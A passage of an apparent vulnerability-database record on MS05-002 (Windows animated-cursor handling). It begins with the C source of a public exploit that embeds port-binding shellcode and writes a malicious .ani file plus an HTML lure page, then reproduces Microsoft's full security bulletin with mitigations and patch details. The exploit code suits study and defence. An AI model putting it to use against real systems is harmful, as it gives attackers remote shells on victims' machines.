=\r\n"\\xeb\\x70\\x56\\x33\\xc0\\x64\\x8b\\x40\\x30\\x85\\xc0\\x78\\x0c\\x8b\\x40\\x0c"\r\n"\\x8b\\x70\\x1c\\xad\\x8b\\x40\\x08\\xeb\\x09\\x8b\\x40\\x34\\x8d\\x40\\x7c\\x8b"\r\n"\\x40\\x3c\\x5e\\xc3\\x60\\x8b\\x6c\\x24\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78"\r\n"\\x03\\xd5\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x03\\xdd\\xe3\\x34\\x49\\x8b\\x34\\x8b"\r\n"\\x03\\xf5\\x33\\xff\\x33\\xc0\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d\\x03"\r\n"\\xf8\\xeb\\xf4\\x3b\\x7c\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x03\\xdd\\x66\\x8b"\r\n"\\x0c\\x4b\\x8b\\x5a\\x1c\\x03\\xdd\\x8b\\x04\\x8b\\x03\\xc5\\x89\\x44\\x24\\x1c"\r\n"\\x61\\xc3\\xeb\\x3d\\xad\\x50\\x52\\xe8\\xa8\\xff\\xff\\xff\\x89\\x07\\x83\\xc4"\r\n"\\x08\\x83\\xc7\\x04\\x3b\\xf1\\x75\\xec\\xc3\\x8e\\x4e\\x0e\\xec\\x72\\xfe\\xb3"\r\n"\\x16\\x7e\\xd8\\xe2\\x73\\xad\\xd9\\x05\\xce\\xd9\\x09\\xf5\\xad\\xa4\\x1a\\x70"\r\n"\\xc7\\xa4\\xad\\x2e\\xe9\\xe5\\x49\\x86\\x49\\xcb\\xed\\xfc\\x3b\\xe7\\x79\\xc6"\r\n"\\x79\\x83\\xec\\x60\\x8b\\xec\\xeb\\x02\\xeb\\x05\\xe8\\xf9\\xff\\xff\\xff\\x5e"\r\n"\\xe8\\x3d\\xff\\xff\\xff\\x8b\\xd0\\x83\\xee\\x36\\x8d\\x7d\\x04\\x8b\\xce\\x83"\r\n"\\xc1\\x10\\xe8\\x9d\\xff\\xff\\xff\\x83\\xc1\\x18\\x33\\xc0\\x66\\xb8\\x33\\x32"\r\n"\\x50\\x68\\x77\\x73\\x32\\x5f\\x8b\\xdc\\x51\\x52\\x53\\xff\\x55\\x04\\x5a\\x59"\r\n"\\x8b\\xd0\\xe8\\x7d\\xff\\xff\\xff\\xb8\\x01\\x63\\x6d\\x64\\xc1\\xf8\\x08\\x50"\r\n"\\x89\\x65\\x34\\x33\\xc0\\x66\\xb8\\x90\\x01\\x2b\\xe0\\x54\\x83\\xc0\\x72\\x50"\r\n"\\xff\\x55\\x24\\x33\\xc0\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\xff\\x55\\x14"\r\n"\\x8b\\xf0\\x33\\xc0\\x33\\xdb\\x50\\x50\\x50\\xb8\\x02\\x01\\x11\\x5c\\xfe\\xcc"\r\n"\\x50\\x8b\\xc4\\xb3\\x10\\x53\\x50\\x56\\xff\\x55\\x18\\x53\\x56\\xff\\x55\\x1c"\r\n"\\x53\\x8b\\xd4\\x2b\\xe3\\x8b\\xcc\\x52\\x51\\x56\\xff\\x55\\x20\\x8b\\xf0\\x33"\r\n"\\xc9\\xb1\\x54\\x2b\\xe1\\x8b\\xfc\\x57\\x33\\xc0\\xf3\\xaa\\x5f\\xc6\\x07\\x44"\r\n"\\xfe\\x47\\x2d\\x57\\x8b\\xc6\\x8d\\x7f\\x38\\xab\\xab\\xab\\x5f\\x33\\xc0\\x8d"\r\n"\\x77\\x44\\x56\\x57\\x50\\x50\\x50\\x40\\x50\\x48\\x50\\x50\\xff\\x75\\x34\\x50"\r\n"\\xff\\x55\\x08\\xf7\\xd0\\x50\\xff\\x36\\xff\\x55\\x10\\xff\\x77\\x38\\xff\\x55"\r\n"\\x28\\xff\\x55\\x0c";\r\n\r\n#define SET_PORTBIND_PORT(buf, port)\t*(unsigned short *)(((buf)+300)) = (port)\r\n\r\nunsigned char discl[] =\r\n"This is provided as proof-of-concept code only for educational"\r\n" purposes and testing by authorized individuals with permission"\r\n" to do so.";\r\n\r\nunsigned char html[] =\r\n"<html>\\n"\r\n"(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit"\r\n"<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\\""\r\n"http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\\">"\r\n"Patch (MS05-002)</a>\\n"\r\n"<script>alert(\\"%s\\")</script>\\n<head>\\n\\t<style>\\n"\r\n"\\t\\t* {CURSOR: url(\\"%s.ani\\")}\\n\\t</style>\\n</head>\\n"\r\n"</html>";\r\n\r\n\r\nunsigned short\r\nfixx(unsigned short p)\r\n{\r\n\tunsigned short r = 0;\r\n\tr = (p & 0xFF00) >> 8;\r\n\tr |= (p & 0x00FF) << 8;\r\n\r\nreturn r;\r\n}\r\n\r\nvoid\r\nusage(char *prog)\r\n{\r\n\tprintf("Usage:\\n");\r\n\tprintf("%s <file> <bindport>\\n\\n", prog);\r\n\texit(0);\r\n}\r\n\r\n\r\nint\r\nmain(int argc, char **argv)\r\n{\r\n\tFILE *fp;\r\n\tunsigned short port;\r\n\tunsigned char f[256+5] = "";\r\n\tunsigned char anib[912] = "";\r\n\r\n\r\n\tprintf("\\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\\n\\n");\r\n\tprintf("\\tCopyright (c) 2004-2005 .: houseofdabus :.\\n\\n\\n");\r\n\tprintf("Tested on all affected systems:\\n");\r\n\tprintf(" [+] Windows Server 2003\\n [+] Windows XP SP1, SP0\\n");\r\n\tprintf(" [+] Windows 2000 All SP\\n\\n");\r\n\r\n\tprintf("%s\\n\\n", discl);\r\n\tif ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {\r\n\t\tprintf("[-] Size of shellcode must be <= 686 bytes\\n");\r\n\t\treturn 0;\r\n\t}\r\n\tif (argc < 3) usage(argv[0]);\r\n\r\n\tif (strlen(argv[1]) > 256) {\r\n\t\tprintf("[-] Size of filename must be <=256 bytes\\n");\r\n\t\treturn 0;\r\n\t}\r\n\r\n\t/* creating ani file */\r\n\tstrcpy(f, argv[1]);\r\n\tstrcat(f, ".ani");\r\n\tprintf("[*] Creating %s file ...", f);\r\n\tfp = fopen(f, "wb");\r\n\tif (fp == NULL) {\r\n\t\tprintf("\\n[-] error: can\\'t create file: %s\\n", f);\r\n\t\treturn 0;\r\n\t}\r\n\tmemset(anib, 0x90, 912);\r\n\r\n\t/* header */\r\n\tmemcpy(anib, aniheader, sizeof(aniheader)-1);\r\n\t/* shellcode */\r\n\tport = atoi(argv[2]);\r\n\tSET_PORTBIND_PORT(shellcode, fixx(port));\r\n\tmemcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1);\r\n\r\n\tfwrite(anib, 1, 912, fp);\r\n\tprintf(" Ok\\n");\r\n\tfclose(fp);\r\n\r\n\t/* creating html file */\r\n\tf[0] = '\\0';\r\n\tstrcpy(f, argv[1]);\r\n\tstrcat(f, ".html");\r\n\tprintf("[*] Creating %s file ...", f);\r\n\tfp = fopen(f, "wb");\r\n\tif (fp == NULL) {\r\n\t\tprintf("\\n[-] error: can\\'t create file: %s\\n", f);\r\n\t\treturn 0;\r\n\t}\r\n\tsprintf(anib, html, discl, argv[1]);\r\n\tfwrite(anib, 1, strlen(anib), fp);\r\n\tprintf(" Ok\\n");\r\n\tfclose(fp);\r\n\r\nreturn 0;\r\n}\n ", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-8977"}], "securityvulns": [{"lastseen": "2018-08-31T11:10:11", "bulletinFamily": "software", "cvelist": ["CVE-2004-1305", "CVE-2004-1049"], "description": "Microsoft Security Bulletin MS05-002\r\nVulnerability in Cursor and Icon Format Handling Could Allow Remote Code Execution (891711)\r\n\r\nIssued: January 11, 2005\r\nVersion: 1.0\r\n\r\nSummary\r\nWho should read this document: Customers using Microsoft Windows\r\n\r\nImpact of Vulnerability: Remote Code Execution\r\n\r\nMaximum Severity Rating: Critical\r\n\r\nRecommendation: Customers should apply the update immediately.\r\n\r\nSecurity Update Replacement: This bulletin replaces a prior security update. See the frequently asked questions (FAQ) section of this bulletin for more information.\r\n\r\nCaveats: None\r\n\r\nTested Software and Security Update Download Locations:\r\n\r\nAffected Software: \r\n\r\n\u2022 Microsoft Windows NT Server 4.0 Service Pack 6a \u2013 Download the update\r\n \r\n\u2022 Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 \u2013 Download the update\r\n \r\n\u2022 Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4 \u2013 Download the update\r\n \r\n\u2022 Microsoft Windows XP Service Pack 1 \u2013 Download the update\r\n \r\n\u2022 Microsoft Windows XP 64-Bit Edition Service Pack 1 \u2013 Download the update\r\n \r\n\u2022 Microsoft Windows XP 64-Bit Edition Version 2003 \u2013 Download the update\r\n \r\n\u2022 Microsoft Windows Server 2003 \u2013 Download the update\r\n \r\n\u2022 Microsoft Windows Server 2003 64-Bit Edition \u2013 Download the update\r\n \r\n\u2022 Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (Me) \u2013 Review the FAQ section of this bulletin for details about these operating systems.\r\n \r\n\r\nNon-Affected Software:\r\n\r\n\u2022 Microsoft Windows XP Service Pack 2\r\n \r\n\r\nThe software in this list has been tested to determine if the versions are affected. Other versions either no longer include security update support or may not be affected. To determine the support lifecycle for your product and version, visit the following Microsoft Support Lifecycle Web site.\r\n\r\nTop of section\r\nGeneral Information\r\n Executive Summary \r\n\r\nExecutive Summary:\r\n\r\nThis update resolves several newly-discovered, privately reported and public vulnerabilities. Each vulnerability is documented in this bulletin in its own Vulnerability Details section. \r\n\r\nAn attacker who successfully exploited the most severe of these vulnerabilities could take complete control of an affected system, install programs; view, change, or delete data; or create new accounts that have full privileges. \r\n\r\nWe recommend that customers apply the update immediately.\r\n\r\nSeverity Ratings and Vulnerability Identifiers:\r\n\r\nVulnerability Identifiers Impact of Vulnerability Windows 98, 98 SE, ME Windows NT 4.0 Windows 2000 Windows XP Windows Server 2003 \r\nCursor and Icon Format Handling Vulnerability - CAN-2004-1049\r\n Remote Code Execution\r\n Critical\r\n Critical\r\n Critical\r\n Critical\r\n Critical\r\n \r\nWindows Kernel Vulnerability - CAN-2004-1305\r\n Denial of Service\r\n Important\r\n Important\r\n Important\r\n Important\r\n Important\r\n \r\nAggregate Severity of All Vulnerabilities\r\n \r\n Critical\r\n Critical\r\n Critical\r\n Critical\r\n Critical\r\n \r\n\r\nThis assessment is based on the types of systems that are affected by the vulnerability, their typical deployment patterns, and the effect that exploiting the vulnerability would have on them.\r\n\r\nTop of section\r\n Frequently asked questions (FAQ) related to this security update \r\n\r\nWhat updates does this release replace? \r\nThis security update replaces a prior security bulletin. The security bulletin ID and operating systems that are affected are listed in the following table.\r\n\r\nBulletin ID Windows 98, 98 SE, ME Windows NT 4.0 Windows 2000 Windows XP Windows Server 2003 \r\nMS03-045\r\n Not Applicable\r\n Replaced\r\n Replaced\r\n Replaced\r\n Replaced\r\n \r\n\r\nHow does the extended support for Windows 98, Windows 98 Second Edition, and Windows Millennium Edition affect the release of security updates for these operating systems?\r\nMicrosoft will only release security updates for critical security issues. Non-critical security issues are not offered during this support period. For more information about the Microsoft Support Lifecycle policies for these operating systems, visit the following Web site. For more information about severity ratings, visit the following Web site.\r\n\r\nNote Critical security updates for these platforms may not be available concurrently with the other security updates provided as part of this security bulletin. They will be made available as soon as possible following the release. When these security updates are available, you will be able to download them only from the Windows Update Web site.\r\n\r\nAre Windows 98, Windows 98 Second Edition, or Windows Millennium Edition critically affected by any of the vulnerabilities that are addressed in this security bulletin?\r\nYes. Windows 98, Windows 98 Second Edition, and Windows Millennium Edition are critically affected by this vulnerability. Critical security updates for these platforms will not be available concurrently with the other security updates provided as part of this security bulletin. They will be made available as soon as possible following the release. When these security updates are available, you will be able to download them only from the Windows Update Web site. For more information about severity ratings, visit the following Web site.\r\n\r\nI am still using Microsoft Windows NT 4.0 Workstation Service Pack 6a or Windows 2000 Service Pack 2, but extended security update support ended on June 30, 2004. What should I do?\r\nWindows NT 4.0 Workstation Service Pack 6a and Windows 2000 Service Pack 2 have reached the end of their life cycles as previously documented. Microsoft extended this support to June 30, 2004.\r\n\r\nIt should be a priority for customers who have these operating system versions to migrate to supported versions to prevent potential exposure to vulnerabilities. For more information about the Windows Product Life Cycle, visit the following Microsoft Support Lifecycle Web site. For more information about the extended security update support period for these operating system versions, visit the following Microsoft Product Support Services Web site.\r\n\r\nCustomers who require additional support for Windows NT Workstation 4.0 SP6a must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for custom support options. Customers who do not have an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager.\r\n\r\nFor more information, see the Windows Operating System FAQ.\r\n\r\nI am still using Windows XP, but extended security update support ended on September 30th, 2004. \r\n\r\nThe original version of Windows XP, commonly known as Windows XP Gold or Windows XP Release to Manufacturing (RTM) version, reached the end of its extended security update support life cycle on September 30, 2004.\r\n\r\nIt should be a priority for customers who have this operating system version to migrate to supported operating system versions to prevent potential exposure to vulnerabilities. For more information about the Windows Service Pack Product Life Cycle, visit the Microsoft Support Lifecycle Web site. For more information about the Windows Product Life Cycle, visit the Microsoft Support Lifecycle Web site.\r\n\r\nFor more information, visit the Windows Operating System FAQ.\r\n\r\nI am still using Windows NT 4.0 Server, but extended security update support ended on December 31st, 2004. However, this bulletin has a security update for this operating system version. Why is that?\r\n\r\nWindows NT 4.0 Server Service Pack 6a and Windows NT 4.0 Server Terminal Server Edition Service Pack 6 reached the end of their life cycles on December 31, 2004. In this case, the majority of the steps that are required to address this vulnerability were completed before this date. Therefore, we have decided to release a security update for this operating system version as part of this security bulletin.\r\n\r\nWe do not anticipate doing this for future vulnerabilities that may affect this operating system version, but we reserve the right to produce updates and to make these updates available when necessary. It should be a priority for customers who have this operating system version to migrate to supported operating system versions to prevent potential exposure to vulnerabilities. For more information about the Windows Service Pack Product Life Cycle, visit the Microsoft Support Lifecycle Web site. For more information about the Windows Product Life Cycle, visit the Microsoft Support Lifecycle Web site.\r\n\r\nFor more information, visit the Windows Operating System FAQ.\r\n\r\nCan I use the Microsoft Baseline Security Analyzer (MBSA) to determine if this update is required?\r\nYes. MBSA will determine if this update is required. For more information about MBSA, visit the MBSA Web site.\r\n\r\nNote After April 20, 2004, the Mssecure.xml file that is used by MBSA 1.1.1 and earlier versions is no longer being updated with new security bulletin data. Therefore, scans that are performed after that date with MBSA 1.1.1 or earlier will be incomplete. All users should upgrade to MBSA 1.2 because it provides more accurate security update detection and supports additional products. Users can download MBSA 1.2 from the MBSA Web site. For more information about MBSA support, visit the following Microsoft Baseline Security Analyzer 1.2 Q&A Web site.\r\n\r\nCan I use Systems Management Server (SMS) to determine if this update is required?\r\nYes. SMS can help detect and deploy this security update. For information about SMS, visit the SMS Web site. \r\n\r\nThe Security Update Inventory Tool is required for detecting Microsoft Windows and other affected Microsoft products. For more information about the limitations of the Security Update Inventory Tool, see Microsoft Knowledge Base Article 306460.\r\n\r\nTop of section\r\n Vulnerability Details \r\n\r\n Cursor and Icon Format Handling Vulnerability - CAN-2004-1049: \r\n\r\nA remote code execution vulnerability exists in the way that cursor, animated cursor, and icon formats are handled. An attacker could try to exploit the vulnerability by constructing a malicious cursor or icon file that could potentially allow remote code execution if a user visited a malicious Web site or viewed a malicious e-mail message. An attacker who successfully exploited this vulnerability could take complete control of an affected system. \r\n\r\n Mitigating Factors for Cursor and Icon Format Handling Vulnerability - CAN-2004-1049: \r\n\r\n\u2022 In a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker could also attempt to compromise a Web site to have it serve up a Web page with malicious content attempting to exploit this vulnerability. An attacker would have no way to force users to visit a Web site. Instead, an attacker would have to persuade them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site or a site compromised by the attacker.\r\n \r\n\u2022 By default, Outlook Express 6, Outlook 2002, and Outlook 2003 open HTML e-mail messages in the Restricted sites zone. Additionally, Outlook 2000 opens HTML e-mail messages in the Restricted sites zone if the Outlook E-mail Security Update has been installed. Outlook Express 5.5 Service Pack 2 opens HTML e-mail messages in the Restricted sites zone if Microsoft Security Bulletin MS04-018 has been installed. The Restricted sites zone helps reduce attacks that could attempt to exploit this vulnerability.\r\n\r\nThe risk of attack from the HTML e-mail vector can be significantly reduced if you meet all the following conditions:\r\n\r\n\u2022 Apply the update that is included with Microsoft Security Bulletin MS03-040 or a later Cumulative Security Update for Internet Explorer.\r\n \r\n\u2022 Use Internet Explorer 6 or later.\r\n \r\n\u2022 Use the Microsoft Outlook E-mail Security Update, use Microsoft Outlook Express 6 or later, or use Microsoft Outlook 2000 Service Pack 2 or later in its default configuration.\r\n \r\n \r\n\u2022 Microsoft Windows XP Service Pack 2 is not affected by this vulnerability.\r\n \r\n\r\nTop of section\r\n Workarounds for Cursor and Icon Format Handling Vulnerability - CAN-2004-1049: \r\n\r\nMicrosoft has tested the following workarounds. While these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified below.\r\n\r\n\u2022 Install the Outlook E-mail Security Update if you are using Outlook 2000 SP1 or earlier.\r\n\r\nBy default, Outlook Express 6, Outlook 2002 and Outlook 2003 open HTML e-mail messages in the Restricted sites zone. Additionally, Outlook 2000 opens HTML e-mail messages in the Restricted sites zone if the Outlook E-mail Security Update has been installed.\r\n\r\nOutlook Express 5.5 Service Pack 2 opens HTML e-mail messages in the Restricted sites zone if Microsoft Security Bulletin MS04-018 has been installed. Customers who use any of these products could be at a reduced risk from an e-mail-borne attack that tries to exploit this vulnerability unless the user clicks a malicious link in the e-mail message.\r\n \r\n\u2022 Read e-mail messages in plain text format if you are using Outlook 2002 or later, or Outlook Express 6 SP1 or later, to help protect yourself from the HTML e-mail attack vector.\r\n\r\nMicrosoft Outlook 2002 users who have applied Office XP Service Pack 1 or later and Microsoft Outlook Express 6 users who have applied Internet Explorer 6 Service Pack 1 can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about enabling this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nFor information about this setting in Outlook Express 6, see Microsoft Knowledge Base Article 291387.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. In addition:\r\n\r\n\u2022 The changes are applied to the preview pane and to open messages.\r\n \r\n\u2022 Pictures become attachments so that they are not lost.\r\n \r\n\u2022 Because the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\n \r\n \r\n\r\nTop of section\r\n FAQ for Cursor and Icon Format Handling Vulnerability - CAN-2004-1049: \r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a remote code execution vulnerability. If a user is logged on with administrative privileges, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full privileges. However, user interaction is required to exploit this vulnerability. Users whose accounts are configured to have fewer privileges on the system could be less impacted than users who operate with administrative privileges.\r\n\r\nWhat causes the vulnerability?\r\nThis vulnerability exists due to insufficient format validation prior to rendering cursors, animated cursors, and icons.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability?\r\nAn attacker could try to exploit the vulnerability by creating a specially crafted web page. An attacker could also create a specially-crafted email message and send it to an affected system. Upon viewing web page, preview or reading a malicious message, the attacker could cause the affected system to execute code.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nWorkstations and terminal servers are primarily at risk. Servers are only at risk if users who do not have sufficient administrative credentials are given the ability to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that cursors, animated cursor, and icon formats are validated prior to rendering.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CAN-2004-1049.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had seen examples of proof of concept code published publicly but had not received any information indicating that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability?\r\nYes. This security update addresses the vulnerability for which proof of concept code has been published publicly. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CAN-2004-1049.\r\n\r\nTop of section\r\nTop of section\r\n Windows Kernel Vulnerability - CAN-2004-1305: \r\n\r\nA denial of service vulnerability exists in the way that cursor, animated cursor, and icon formats are handled. An attacker could try to exploit the vulnerability by constructing a malicious cursor or icon file that could potentially cause the operating system to become unresponsive. The operating system would have to be restarted to restore functionality.\r\n\r\n Mitigating Factors for Windows Kernel Vulnerability - CAN-2004-1305: \r\n\r\n\u2022 In a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker could also attempt to compromise a Web site to have it serve up a Web page with malicious content attempting to exploit this vulnerability. An attacker would have no way to force users to visit a Web site. Instead, an attacker would have to persuade them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site or a site compromised by the attacker.\r\n \r\n\u2022 An attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n \r\n\u2022 By default, Outlook Express 6, Outlook 2002, and Outlook 2003 open HTML e-mail messages in the Restricted sites zone. Additionally, Outlook 2000 opens HTML e-mail messages in the Restricted sites zone if the Outlook E-mail Security Update has been installed. Outlook Express 5.5 Service Pack 2 opens HTML e-mail messages in the Restricted sites zone if Microsoft Security Bulletin MS04-018 has been installed. The Restricted sites zone helps reduce attacks that could attempt to exploit this vulnerability.\r\n\r\nThe risk of attack from the HTML e-mail vector can be significantly reduced if you meet all the following conditions:\r\n\r\n\u2022 Apply the update that is included with Microsoft Security Bulletin MS03-040 or a later Cumulative Security Update for Internet Explorer.\r\n \r\n\u2022 Use Internet Explorer 6 or later.\r\n \r\n\u2022 Use the Microsoft Outlook E-mail Security Update, use Microsoft Outlook Express 6 or later, or use Microsoft Outlook 2000 Service Pack 2 or later in its default configuration.\r\n \r\n \r\n\u2022 Microsoft Windows XP Service Pack 2 is not affected by this vulnerability.\r\n \r\n\r\nTop of section\r\n Workarounds for Windows Kernel Vulnerability - CAN-2004-1305: \r\n\r\nMicrosoft has tested the following workarounds. While these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified below.\r\n\r\n\u2022 Install the Outlook E-mail Security Update if you are using Outlook 2000 SP1 or earlier.\r\n\r\nBy default, Outlook Express 6, Outlook 2002 and Outlook 2003 open HTML e-mail messages in the Restricted sites zone. Additionally, Outlook 2000 opens HTML e-mail messages in the Restricted sites zone if the Outlook E-mail Security Update has been installed.\r\n\r\nOutlook Express 5.5 Service Pack 2 opens HTML e-mail messages in the Restricted sites zone if Microsoft Security Bulletin MS04-018 has been installed. Customers who use any of these products could be at a reduced risk from an e-mail-borne attack that tries to exploit this vulnerability unless the user clicks a malicious link in the e-mail message.\r\n \r\n\u2022 Read e-mail messages in plain text format if you are using Outlook 2002 or later, or Outlook Express 6 SP1 or later, to help protect yourself from the HTML e-mail attack vector.\r\n\r\nMicrosoft Outlook 2002 users who have applied Office XP Service Pack 1 or later and Microsoft Outlook Express 6 users who have applied Internet Explorer 6 Service Pack 1 can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about enabling this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nFor information about this setting in Outlook Express 6, see Microsoft Knowledge Base Article 291387.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. In addition:\r\n\r\n\u2022 The changes are applied to the preview pane and to open messages.\r\n \r\n\u2022 Pictures become attachments so that they are not lost.\r\n \r\n\u2022 Because the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\n \r\n \r\n\r\nTop of section\r\n FAQ for Windows Kernel Vulnerability - CAN-2004-1305: \r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a denial of service vulnerability. An attacker who exploited this vulnerability could cause the affected system to stop responding and automatically restart. During that time, the operating system cannot respond to requests. Note that the denial of service vulnerability would not allow attackers to execute code or elevate their privileges, but it could cause the affected system to stop responding. However, user interaction is required to exploit this vulnerability.\r\n\r\nWhat causes the vulnerability?\r\nThis vulnerability exists due to insufficient format validation prior to rendering cursors, animated cursors, and icons.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could cause the affected system to stop responding.\r\n\r\nHow could an attacker exploit the vulnerability?\r\nAn attacker could exploit the vulnerability by creating a specially crafted web page. An attacker could also create a specially-crafted email message and send it to an affected system. Upon viewing web page, preview or reading a malicious message, the attacker could cause the affected system to stop responding\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nWorkstations and terminal servers are primarily at risk. Servers are only at risk if users who do not have sufficient administrative credentials are given the ability to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that cursors, animated cursor, and icon formats are validated prior to rendering. \r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CAN-2004-1305.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had seen examples of proof of concept code published publicly but had not received any information indicating that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability?\r\nYes. This security update addresses the vulnerability for which proof of concept code has been published publicly. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CAN-2004-1305.\r\n\r\nTop of section\r\nTop of section\r\nTop of section\r\n Security Update Information \r\n\r\nInstallation Platforms and Prerequisites:\r\n\r\nFor information about the specific security update for your platform, click the appropriate link:\r\n\r\n Windows Server 2003 (all versions) \r\n\r\nPrerequisites\r\nThis security update requires a release version of Windows Server 2003.\r\n\r\nInclusion in Future Service Packs:\r\nThe update for this issue will be included in Windows Server 2003 Service Pack 1.\r\n\r\nInstallation Information\r\n\r\nThis security update supports the following setup switches:\r\n\r\n /help Displays the command-line options\r\n\r\nSetup Modes\r\n\r\n /quiet Quiet mode (no user interaction or display)\r\n\r\n /passive Unattended mode (progress bar only)\r\n\r\n /uninstall Uninstalls the package\r\n\r\nRestart Options \r\n\r\n /norestart Do not restart when installation has completed\r\n\r\n /forcerestart Restart after installation\r\n\r\nSpecial Options \r\n\r\n /l Lists installed Windows hotfixes or update packages\r\n\r\n /o Overwrite OEM files without prompting\r\n\r\n /n Do not backup files needed for uninstall\r\n\r\n /f Force other programs to close when the computer shuts down\r\n\r\n /integrate:path Integrates the update into the Windows source files located at the path specified.\r\n\r\n /extract Extracts files without starting the Setup program\r\n\r\nNote You can combine these switches into one command. For backward compatibility, the security update also supports the setup switches that the earlier version of the Setup program uses. For more information about the supported installation switches, see Microsoft Knowledge Base Article 262841. For more information about the Update.exe installer, visit the Microsoft TechNet Web site.\r\n\r\nDeployment Information\r\n\r\nTo install the security update without any user intervention, use the following command at a command prompt for Windows Server 2003:\r\n\r\nWindowsserver2003-kb891711-x86-enu /passive /quiet\r\n\r\nTo install the security update without forcing the system to restart, use the following command at a command prompt for Windows Server 2003:\r\n\r\nWindowsserver2003-kb891711-x86-enu /norestart\r\n\r\nFor information about how to deploy this security update with Software Update Services, visit the Software Update Services Web site.\r\n\r\nRestart Requirement\r\n\r\nYou must restart your system after you apply this security update.\r\n\r\nRemoval Information\r\n\r\nTo remove this update, use the Add or Remove Programs tool in Control Panel.\r\n\r\nSystem administrators can also use the Spuninst.exe utility to remove this security update. The Spuninst.exe utility is located in the %Windir%\$NTUninstallKB891711$\Spuninst folder. The Spuninst.exe utility supports the following setup switches:\r\n\r\n /help Displays the command line options\r\n\r\nSetup Modes\r\n\r\n /quiet Quiet mode (no user interaction or display)\r\n\r\n /passive Unattended mode (progress bar only)\r\n\r\nRestart Options \r\n\r\n /norestart Do not restart when installation is complete\r\n\r\n /forcerestart Restart after installation\r\n\r\nSpecial Options \r\n\r\n /f Force other programs to close when the computer shuts down\r\n\r\nFile Information\r\n\r\nThe English version of this update has the file attributes (or later) that are listed in the following table. The dates and times for these files are listed in coordinated universal time (UTC). When you view the file information, it is converted to local time. To find the difference between UTC and local time, use the Time Zone tab in the Date and Time tool in Control Panel.\r\n\r\nWindows Server 2003 Enterprise Edition, Windows Server 2003 Standard Edition, Windows Server 2003 Web Edition, and Windows Server 2003 Datacenter Edition:\r\n\r\nFile Name Version Date Time Size Folder \r\nUser32.dll\r\n 5.2.3790.245\r\n 30-Dec-2004\r\n 21:22\r\n 576,000\r\n RTMGDR\r\n \r\nWin32k.sys\r\n 5.2.3790.244\r\n 28-Dec-2004\r\n 23:26\r\n 1,812,992\r\n 